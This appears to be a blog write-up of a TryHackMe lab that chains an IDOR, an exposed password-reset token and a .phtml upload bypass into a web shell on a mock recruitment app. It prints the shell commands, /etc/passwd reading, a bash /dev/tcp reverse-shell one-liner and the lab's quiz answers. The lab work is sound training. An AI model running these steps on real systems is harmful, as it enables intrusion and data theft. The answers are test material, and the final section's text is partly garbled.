Skip to main content

Command Palette

Search for a command to run...

Guided Pentest: Web

Updated
19 min read
Guided Pentest: Web
J
Software Developer | Learning Cybersecurity | Open for roles * If you're in the early stages of your career in software development (student or still looking for an entry-level role) and in need of mentorship, you can reach out to me.

Link to the Walkthrough/Challenge on TryHackMe: Guided Pentest: Web

Introduction

Imagine you have been hired as a penetration tester. Your client runs a small web application called RecruitX, an internal recruitment portal where hiring managers post job listings, candidates submit applications, and administrators manage the entire workflow. The client suspects the application has security issues, but does not know where. Your job is to find out.

This room will guide you through a realistic web application penetration test from start to finish. You will not be dropped into a machine and told to "find the flags." Instead, each task walks you through a phase of the engagement, explaining what to do, why you are doing it, and what to look for. By the end, you will have moved from knowing nothing about the target to achieving remote code execution on the underlying server.

Learning Objectives

The engagement follows this path:

  1. Reconnaissance and enumeration - Discover what the application exposes

  2. Insecure Direct Object Reference (IDOR) - Access data belonging to other users

  3. Weak password reset - Take over an account through a flawed reset mechanism

  4. Admin panel access - Escalate from a regular user to an administrator

  5. Remote code execution - Leverage admin functionality to execute commands on the server

Each vulnerability builds on the information gathered in the previous step. This is how real-world penetration tests work; you rarely find a single critical flaw sitting in the open. Instead, you chain smaller weaknesses together until they add up to something significant.

Prerequisites

Reconnaissance and Enumeration

Before touching the application, let's understand what we are working with. In any penetration test, the first phase is always reconnaissance; gathering as much information about the target as possible without making assumptions. You would never walk into a building you are hired to assess without first looking at the exterior, checking the doors, and reading the signs. The same principle applies here.

Port Scanning

Let's start by discovering what services are running on the target. Open a terminal and run an Nmap scan:

Terminal

root@tryhackme:~# nmap -sV -sC -p- MACHINE_IP
Starting Nmap 7.80 ( https://nmap.org ) at 2026-03-27 16:40 GMT
mass_dns: warning: Unable to open /etc/resolv.conf. Try using --system-dns or specify valid servers with --dns-servers
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
Nmap scan report for MACHINE_IP
Host is up (0.00015s latency).
Not shown: 65531 closed ports
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http    Apache httpd 2.4.58 ((Ubuntu))
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-server-header: Apache/2.4.58 (Ubuntu)
|_http-title: RecruitX \xE2\x80\x94 Home
3306/tcp open  mysql   MySQL (unauthorized)
8080/tcp open  http    Apache httpd 2.4.58 ((Ubuntu))
|_http-open-proxy: Proxy might be redirecting requests
|_http-server-header: Apache/2.4.58 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
MAC Address: 06:B2:88:D5:C7:67 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.54 seconds

We can notice four open ports. Port 22 is SSH, useful later if we obtain credentials. Port 80 is our target web application running on Apache. Port 3306 is MySQL, indicating the application uses a MySQL database on the backend and port 8080 showing Apache default page. This is valuable information; it means the application likely constructs SQL queries, and any input handling weaknesses could lead to SQL-related issues.

Exploring the Application

Open your browser and navigate to http://MACHINE_IP. You should see the RecruitX landing page. Before clicking anything, take a moment to observe what is on the page. You will see a navigation bar with links to Home, Jobs, Login, and Register. There is also a footer that mentions "RecruitX v2.4."

Let's check the HTTP response headers as well:

Terminal

root@tryhackme:~# curl -I http://MACHINE_IP
HTTP/1.1 200 OK
Date: Fri, 27 Mar 2026 16:43:09 GMT
Server: Apache/2.4.58 (Ubuntu)
Set-Cookie: PHPSESSID=f05vg10cq16k3kq5vpurgpioqb; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Type: text/html; charset=UTF-8

The headers confirm the server is running Apache with version 2.4.58. The PHPSESSID cookie confirms PHP session management is in use. We now know the technology stack: Apache + PHP + MySQL - a classic LAMP configuration.

Directory Enumeration

Now, let's discover what directories and files exist beyond what the navigation bar shows. We will use Gobuster with a common wordlist:

Terminal

root@tryhackme:~# gobuster dir -u http://MACHINE_IP -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x php -x php
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://MACHINE_IP
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              php
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.php                 (Status: 403) [Size: 277]
/index.php            (Status: 200) [Size: 21600]
/profile.php          (Status: 302) [Size: 0] 
/login.php            (Status: 200) [Size: 15107]
/jobs.php             (Status: 200) [Size: 20288]
/uploads              (Status: 301) [Size: 314] 
/data                 (Status: 403) [Size: 277]
/admin                (Status: 301) [Size: 312] 
/test                 (Status: 200) [Size: 705]
/includes             (Status: 301) [Size: 315]
/api                  (Status: 301) [Size: 310] 
/logout.php           (Status: 302) [Size: 0] 
/config               (Status: 301) [Size: 313] 
/dashboard.php        (Status: 302) [Size: 0] 
/register.php         (Status: 200) [Size: 17384]
/reset.php            (Status: 200) [Size: 14408]
/.php                 (Status: 403) [Size: 277]
Progress: 175328 / 175330 (100.00%)
===============================================================
Finished
===============================================================

This output tells us a great deal. Let's break down the important discoveries:

  • /admin - An admin panel exists, but it redirects to the login page. We will need credentials to access it.

  • /api - An API endpoint is present. APIs often expose data in ways the frontend does not.

  • /reset.php - A password reset page. Reset mechanisms are frequently implemented insecurely.

  • /uploads - An uploads directory. If we can upload files, this could be a path to code execution.

  • /profile.php and /dashboard.php - These require authentication, so we need to be logged in to access them.

Registering an Account

Several pages require authentication. Let's log in using an account, so we can explore the application's features. Navigate to http://MACHINE_IP/login.php and log in with the following details:

Note: You can register and use any other account by registering at http://MACHINE_IP/register.php.

After logging in, the application redirects you to /dashboard.php. You now see a dashboard showing information like Open Positions, Total Applications or an option to Browse Jobs, etc. Take note of the URL as you click around, particularly when viewing your own profile.

Dashboard of RecruitX website after logging in.

Exploring the API

Earlier, Gobuster found an /api endpoint. Let's investigate what it exposes:

Example Terminal

root@tryhackme:~# curl http://MACHINE_IP/api/
{"endpoints":["\/api\/user","\/api\/jobs","\/api\/applications"]}

The API helpfully lists its own endpoints. This is already an information disclosure issue in a production application; an unauthenticated user should not be able to discover internal API routes. Let's keep these in mind as we move into the next task.

Answer the questions below

What version of the Apache server is running? 2.4.58

nmap -p- -sV IP_Address

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http    Apache httpd 2.4.58 ((Ubuntu))
3306/tcp open  mysql   MySQL (unauthorized)
8080/tcp open  http    Apache httpd 2.4.58 ((Ubuntu))

What database service is running on the target? mysql

What is the path to the password reset page? /reset.php

curl -I http://IP_Address
HTTP/1.1 200 OK
Date: Thu, 21 May 2026 18:37:47 GMT
Server: Apache/2.4.58 (Ubuntu)
Set-Cookie: PHPSESSID=00djgg2ocfm62e1njmp0ock00i; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Type: text/html; charset=UTF-8
gobuster dir -u http://IP_Address -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x php -x php

/.php                 (Status: 403) [Size: 277]
/login.php            (Status: 200) [Size: 15107]
/register.php         (Status: 200) [Size: 14802]
/profile.php          (Status: 302) [Size: 0] [--> /login.php]
/jobs.php             (Status: 200) [Size: 27698]
/uploads              (Status: 301) [Size: 314] [--> http://10.114.171.5/uploads/]
/data                 (Status: 403) [Size: 277]
/index.php            (Status: 200) [Size: 21600]
/admin                (Status: 301) [Size: 312] [--> http://10.114.171.5/admin/]
/test                 (Status: 200) [Size: 705]
/includes             (Status: 301) [Size: 315] [--> http://10.114.171.5/includes/]
/api                  (Status: 301) [Size: 310] [--> http://10.114.171.5/api/]
/logout.php           (Status: 302) [Size: 0] [--> /login.php]
/config               (Status: 301) [Size: 313] [--> http://10.114.171.5/config/]
/dashboard.php        (Status: 302) [Size: 0] [--> /login.php]
/reset.php            (Status: 200) [Size: 14408]
/.php                 (Status: 403) [Size: 277]

IDOR

Now that we have an authenticated session and know the application's structure, let's start looking for vulnerabilities. One of the most common and frequently overlooked flaws in web applications is Insecure Direct Object Reference (IDOR).

Consider this analogy: you are staying in a hotel, and your room key is simply your room number 104. There is no electronic lock, no verification, just the number. What stops you from walking to room 105 and opening the door? Nothing. That is essentially what an IDOR vulnerability is: the application uses a predictable identifier to reference objects (user profiles, documents, orders) and does not verify whether the requesting user is authorised to access that specific object.

Finding the IDOR

While logged in as your test user, navigate to your profile by clicking the button that’s showing your username at the top right in the dashboard (Test in this case). Look carefully at the URL in your browser's address bar:

http://MACHINE_IP/profile.php?id=6

The application references your profile using a numeric id parameter. Your account was the sixth one created, so your ID is 6. The immediate question any penetration tester should ask is: What happens if I change that number?

Testing the Vulnerability

Let's change the id parameter to 1 and see what happens. You can do this directly in the browser or with curl. In the browser, accessing the URL http://MACHINE_IP/profile.php?id=1 would return this:

Sarah Mitchell profile information.

Extracting Cookies

In this exercise, you will require your session cookie, which you can get by right-clicking anywhere on the page and selecting Inspect, as shown below:

Clicking on Inspect option in Firefox.

Go to the Storage tab, then expand Cookies and select http://MACHINE_IP. You’ll see all cookies listed, look for the PHPSESSID cookie and copy its value.

Copying Cookie value from the Firefox browser.

 Let's also use curl so we can see exactly what comes back. Make sure to include your session cookie in the following command after PHPSESSID= value:

Terminal

root@tryhackme:~# curl -s -b "PHPSESSID=gs5ngd6duukc09agpdnj1o9tt2" "http://MACHINE_IP/profile.php?id=1" | grep "fw-semibold"
                        <div class="fw-semibold mt-1">Sarah Mitchell</div>
                        <div class="fw-semibold mt-1 mono">s.mitchell@recruitx.thm</div>
                        <div class="fw-semibold mt-1">March 24, 2026</div>

We just accessed the profile of user ID 1, Sarah Mitchell, who is an administrator. The application did not verify whether we are authorised to view this profile. It simply took the id value, queried the database, and returned the result.

Let's also check whether the API endpoint we discovered earlier has the same issue, and if it doesn't even require a session cookie:

Terminal

root@tryhackme:~# curl -s "http://MACHINE_IP/api/user?id=1"
{"id":1,"name":"Sarah Mitchell","email":"s.mitchell@recruitx.thm","role":"administrator","created":"2026-03-24"}
root@tryhackme:~# curl -s "http://MACHINE_IP/api/user?id=2"
{"id":2,"name":"James Crawford","email":"j.crawford@recruitx.thm","role":"hiring_manager","created":"2026-03-24"}

The API is even more revealing than the web page. It returns structured JSON with the user's name, email, role, and account creation date. By incrementing the id parameter from 1 through 5, we can enumerate every user in the system.

Why This Matters

IDOR vulnerabilities are consistently ranked among the most common web application flaws. They occur because developers assume users will access only their own resources, an assumption that breaks the moment someone changes a URL parameter. The fix is straightforward: the server must verify that the currently authenticated user has permission to access the requested object. But in practice, this check is frequently missing.

Answer the questions below

What is the name of the administrator user? Sarah Mitchell

What role does James Crawford hold? hiring_manager

Weak Password Reset

We now know the administrator's email address: s.mitchell@recruitx.thm. Our next objective is to take over her account. Instead of trying to guess her password (which could take a long time and trigger account lockouts), let's examine the password reset mechanism. Password reset flows are one of the most commonly broken features in web applications because they are complex to implement securely, and developers often take shortcuts.

Understanding the Reset Flow

Navigate to http://MACHINE_IP/reset.php. You will see a simple form asking for an email address. Let's first test the flow with our own account to understand how it works. Enter testuser@fake.thm and submit the form.

This is our first major finding. In a properly designed application, the reset token would be sent to the user's email and would never be displayed on screen. But this application shows the token directly in the response. While this alone would let us reset our own password, the real question is: How is the token being shared with the user?

Analysing the Token

Let's generate a few more tokens and look for patterns. Submit the reset form multiple times for your own account and record the tokens:

  • Attempt 1: 784512

  • Attempt 2: 291037

  • Attempt 3: 503648

The tokens are six-digit numbers. They appear random, but the range is limited; there is only one million possible values (000000 to 999999). This is a weak token space. However, brute-forcing a million values might be slow. Let's look more carefully and try to reset the token for the administrator using their email address s.mitchell@recruitx.thm. We will get the following:

Reset Password form after submitting the request.

Resetting the Administrator's Password

We now have everything we need. Let's use the token to reset Sarah Mitchell's password. Visit the reset URL, and it will ask for a new password:

Reset password form showing option to set new password.

Let's verify by logging in with the new password.

Dashboard after logging in as Administrator.

We are now logged in as the administrator. Let's take a moment to understand the chain so far: we used an IDOR to discover the administrator's email, then exploited a weak password reset mechanism that exposed tokens directly in the response. Neither vulnerability alone would have given us admin access, but chained together, they were devastating.

What Went Wrong

The password reset mechanism had three distinct flaws:

  1. Token displayed in response: The token should only be sent to the account owner's email, never displayed on screen.

  2. Weak token generation - A six-digit numeric token has a small keyspace and is susceptible to brute-force attacks.

  3. No rate limiting - The application did not limit the number of reset requests or token guesses.

Answer the questions below

How many digits long is the reset token? 6

After resetting the password for s.mitchell@recruitx.thm and logging in, what role is displayed for that account in the dashboard? Administrator

Admin Panel Access

We are now logged in as Sarah Mitchell, the application's administrator. Earlier during our enumeration, Gobuster discovered an /admin path that redirected unauthenticated users to the login page. Now that we have administrator credentials, let's see what is behind that door.

Exploring the Admin Dashboard

Navigate to http://MACHINE_IP/admin using the browser where you are logged in as Sarah Mitchell. The admin panel exposes several management pages. Most of these are standard administrative functions, but one stands out immediately: /admin/upload.php. A file upload function in the hands of an administrator is a powerful feature, and from a penetration tester's perspective, it is a potential path to remote code execution.

Upload copmany document form.

Investigating the Upload Function

Let's examine the upload page. Right-click on the Upload button and click Inspect, where you can inspect the client-side code:

Upload button after selecting a file.

We can notice several important details. The form says it accepts PDF, DOCX, and image files. The accept attribute on the file input restricts file types, but this is a client-side restriction only. The browser enforces it, but a direct HTTP request can send whatever file type it wants. The page also reveals the upload destination: /uploads/documents/

Testing the Upload Restrictions

Let's test whether the server enforces file type restrictions. First, we will try uploading a harmless text file to see how the application responds. In the AttackBox, enter the following command to create a text file:

Terminal

root@tryhackme:~# echo "This is a test file" > test.txt

Once the file is created, upload it to the admin panel. Open the upload page, right-click on the file input, and select Inspect. In the HTML, remove the accept attribute by deleting it (backspace) so the browser no longer restricts file types. Now select and upload your file directly, bypassing the client-side restriction.

Changing HTML after selecting file to upload.

The server rejected the .txt file.

Upload form showing error.

So there is some server-side validation. But how thorough is it? Let's test whether the server checks only the file extension or also the file content. We will create a PHP file by using the following command:

Terminal

root@tryhackme:~# echo '<?php echo "PHP is executing"; ?>' > test.php

Once created, try to upload again. Still rejected. The application appears to be checking the final extension.

Let's try another common bypass using the .phtml extension, which Apache often processes as PHP:

Terminal

root@tryhackme:~# echo '<?php echo "PHP is executing"; ?>' > test.phtml

The .phtml extension was accepted. The application's file type filter blocks .php but does not account for alternative PHP extensions. This is a common oversight; developers create a blocklist of "dangerous" extensions, but miss less common ones that the server still processes as PHP.

Upload form after the file is successfully uploaded.

Let's verify that our uploaded file executes by visiting the page http://MACHINE_IP/uploads/documents/test.phtml.

PHP file uploaded and executing on the server.

The server executed the PHP code and returned the output. We have confirmed that we can upload and execute PHP files on the server. In the next task, we will use this to gain remote code execution.

Answer the questions below

What is the name of the PHP file responsible for handling file upload in the RecruitX web app? upload.php

What HTML attribute on the file input is used to restrict selectable file extensions on the client side? accept

Which alternative PHP extension bypassed the upload filter? .phtml

Remote Code Execution

We have confirmed that we can upload PHP files to the server and that the server will execute them. This is the point in the penetration test where all the previous steps come together. We started with nothing, no credentials, no knowledge of the application. Through enumeration, IDOR exploitation, password reset abuse, and admin panel access, we have reached a position where we can execute arbitrary code on the server.

Creating a Web Shell

A web shell is a small script that accepts commands through HTTP parameters and executes them on the server. Let's create a simple one and save it as shell.phtml:

This script checks for a cmd parameter in the URL. If present, it passes the value to shell_exec(), which runs the command on the operating system and returns the output. Upload the file on the Admin panel http://MACHINE_IP/admin/upload.php.

Executing Commands Let's verify we have code execution by running a simple command:

www-data

root@tryhackme:~# curl "http://MACHINE\_IP/uploads/documents/shell.phtml?cmd=id"

uid=33(www-data) gid=33(www-data) groups=33(www-data)

We have remote code execution. The commands are running as www-data, which is the default user for the Apache web server on Ubuntu. Let's gather more information about the system:

Terminal root@tryhackme:~# curl "http://MACHINE\_IP/uploads/documents/shell.phtml?cmd=hostname"

example-hostame

root@tryhackme:~# curl "http://MACHINE\_IP/uploads/documents/shell.phtml?cmd=uname+-a"

Linux example-hostame 6.8.0-1017-aws #18-Ubuntu SMP Wed Oct  2 20:17:03 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux

We can now see the hostname, kernel version, and execute any command on the system.

Reading Sensitive Files Since we can read files on the server, a good first step is to check system files that list users. In Linux, /etc/passwd contains basic account information:

Terminal root@tryhackme:~# curl "http://MACHINE\_IP/uploads/documents/shell.phtml?cmd=cat+/etc/passwd" | grep -v "nologin" % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 2088 100 2088 0 0 398k 0 --:--:-- --:--:-- --:--:-- 407k

root:x:0:0:root:/root:/bin/bash
sync:x:4:65534:sync:/bin:/bin/sync
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
pollinate:x:111:1::/var/cache/pollinate:/bin/false
ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
dhcpcd:x:114:65534:DHCP Client Daemon,,,:/usr/lib/dhcpcd:/bin/false
mysql:x:115:123:MySQL Server,,,:/nonexistent:/bin/false

By utilising our web shell, we accessed /etc/passwd and identified system users. In a real-world scenario, this level of access would enable further enumeration of configuration files to extract database credentials and gain full access to the application's backend data.

Obtaining a Reverse Shell A web shell works, but it is limited; each command is a separate HTTP request, there is no interactive session, and complex commands with special characters can be difficult to pass through URL parameters. Let's upgrade to a proper reverse shell.

First, set up a listener on your AttackBox:

Terminal root@tryhackme:~# nc -lvnp 4444 listening on [any] 4444 ... In a second terminal, trigger the reverse shell through the web shell. We will URL-encode the payload to avoid issues with special characters:

Terminal root@tryhackme:~# curl "http://MACHINE\_IP/uploads/documents/shell.phtml?cmd=bash+-c+'bash+-i+>%26+/dev/tcp/CONNECTION\_IP/4444+0>%261'" Back in your listener terminal:

Terminal root@tryhackme:~# nc -lvnp 4444 listening on [any] 4444 ... Connection received on CONNECTION_IP 48268 www-data@example-hostame:/var/www/html/uploads/documents\( whoami www-data www-data@example-hostame:/var/www/uploads/documents\) We now have an interactive shell on the target server. From here, a penetration tester would typically proceed to local enumeration and privilege escalation, but that is beyond the scope of this room.

Reading the Flag To confirm you have completed the engagement, read the flag file on the system:

Terminal www-data@example-hostame:~$ cat /var/www/flag.txt {REDACTED} Answer the questions below What user is the web shell running as?

www-data

Correct Answer What is the hostname of the target server?

recruitx-prod

Correct Answer What is the flag?

The Attack Chain

Conclusion